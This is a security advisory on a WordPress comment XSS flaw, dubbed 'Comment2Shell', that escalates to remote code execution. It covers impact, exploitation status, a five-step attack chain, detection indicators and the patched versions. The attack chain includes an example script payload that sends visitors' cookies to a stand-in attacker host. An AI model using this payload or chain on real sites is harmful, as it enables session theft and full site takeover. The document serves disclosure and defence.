CVE-2026-93485: 
WordPress vulnerability analysis and mitigation

CVE-2026-93485 is a DOM-based stored Cross-Site Scripting (XSS) vulnerability in Automattic WordPress core, dubbed "Comment2Shell" by the security community. It allows unauthenticated attackers to inject malicious scripts via WordPress comments on default installations, where comment moderation is disabled and the previously-approved-commenter requirement can be bypassed. The vulnerability affects WordPress versions 4.7 through 7.1 (before 7.1.1), spanning over two dozen minor release branches. It was reported by Rafie Muhammad, disclosed and patched on September 18, 2026, with a CVSS v3.1 base score of 7.1 (High) (GitHub Advisory, Patchstack).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation) and manifests as a DOM-based stored XSS in the WordPress comment system. On default WordPress installations, comment moderation is disabled, and the safeguard requiring commenters to have a previously approved comment can be bypassed, allowing unauthenticated users to submit comments containing malicious JavaScript payloads that are stored in the database and rendered in victims' browsers. The attack vector is network-based, requires no privileges, and only requires user interaction in the form of a victim visiting a page containing the malicious comment. Security researchers have described an attack chain where the stored XSS can be escalated to remote code execution (RCE) by targeting an administrator session — a technique referred to as "Click2Shell" or "Comment2Shell" (GitHub Advisory, Patchstack, IDNSec Research).

An unauthenticated attacker can submit malicious comments that execute arbitrary JavaScript in the browsers of any site visitor, including administrators. This enables session cookie theft, credential harvesting, forged requests on behalf of legitimate users, and user redirection to malicious sites. Critically, if an administrator views the malicious comment, the XSS payload can be chained to achieve remote code execution on the server via the admin session — effectively allowing a full site takeover from an anonymous comment submission (GitHub Advisory, The Hacker News, Orca Security).

A GitHub repository (HORKimhab/CVE-2026-93485) was identified as a purported PoC but was assessed as non-exploitable — containing only a generic README template with no actual exploit code. A second repository (0xBlackash/CVE-2026-93485) also appeared. The EPSS score is approximately 0.16–0.375%, and no confirmed in-the-wild exploitation has been observed as of the time of disclosure. The CVE status is listed as "Deferred" and NVD's SSVC assessment indicates exploitation is "none" and the attack is not automatable. The vulnerability is not listed in the CISA KEV catalog (GitHub Advisory, Patchstack).

1. Reconnaissance: Identify WordPress sites running versions 4.7 through 7.1 (before 7.1.1) with comments enabled and comment moderation disabled — the default configuration. Tools like WPScan or Shodan can be used to enumerate WordPress versions.
2. Bypass commenter approval requirement: Exploit the bypass of the "previously approved comment" requirement to submit comments without prior approval, enabling unauthenticated comment submission.
3. Inject malicious payload: Submit a crafted comment containing a DOM-based XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script> or a more sophisticated payload targeting admin actions) to a post or page with comments enabled.
4. Wait for victim interaction: The stored payload executes in the browser of any user who views the affected page, including site administrators.
5. Escalate to RCE via admin session: If an administrator views the comment (e.g., in the moderation queue or on the front end), the XSS payload can forge authenticated requests to install a malicious plugin or execute arbitrary PHP code, achieving server-side RCE — the "Comment2Shell" attack chain (The Hacker News, IDNSec Research, Orca Security).

• Network: Outbound HTTP requests from the WordPress server or admin browser to unknown external domains (e.g., attacker-controlled cookie-stealing endpoints); unusual POST requests to /wp-admin/plugin-install.php or /wp-admin/update.php originating from an admin session shortly after viewing a comment.
• Logs: WordPress access logs showing comment submissions (POST /wp-comments-post.php) containing encoded script tags or JavaScript event handlers; admin action logs showing unexpected plugin installations or file modifications.
• File System: Newly created or modified PHP files in wp-content/plugins/ or wp-content/uploads/ directories not corresponding to legitimate plugin installs; web shells placed in writable directories.
• Database: WordPress wp_comments table entries containing <script>, javascript:, onerror=, onload=, or other XSS-indicative strings in the comment_content field.
• Process: Unexpected child processes spawned by the web server process (e.g., apache2, nginx, php-fpm) such as bash, curl, or wget following admin activity.

WordPress has released patched versions for all affected branches. Users should upgrade to: 7.1.1 (for 7.1.x), 7.0.5 (for 7.0.x), 6.9.8 (for 6.9.x), 6.8.9 (for 6.8.x), 6.7.8 (for 6.7.x), 6.6.8 (for 6.6.x), 6.5.11 (for 6.5.x), 6.4.11 (for 6.4.x), 6.3.11 (for 6.3.x), 6.2.12 (for 6.2.x), 6.1.13 (for 6.1.x), 6.0.15 (for 6.0.x), and corresponding patched versions for all 5.x and 4.x branches. As a configuration-based workaround, enable comment moderation (Settings → Discussion → "Comment must be manually approved") and require commenters to be registered and logged in. Patchstack has also issued a virtual patch/mitigation rule for subscribers who cannot immediately update (WordPress Release, Patchstack).

The vulnerability attracted significant media and community attention under the "Comment2Shell" moniker, with coverage from The Hacker News, CyberSecurityNews, and multiple security blogs highlighting the XSS-to-RCE escalation chain as particularly noteworthy. Wordfence included it in their weekly WordPress vulnerability report, and Orca Security and IDNSec published detailed technical analyses of the attack chain. The story was widely shared on Reddit (r/SecOpsDaily, r/pwnhub), Mastodon, and Telegram security channels. Patchstack credited researcher Rafie Muhammad with the discovery and noted the vulnerability was reported on September 15, 2026, before public disclosure on September 18, 2026 (The Hacker News, Wordfence, Patchstack).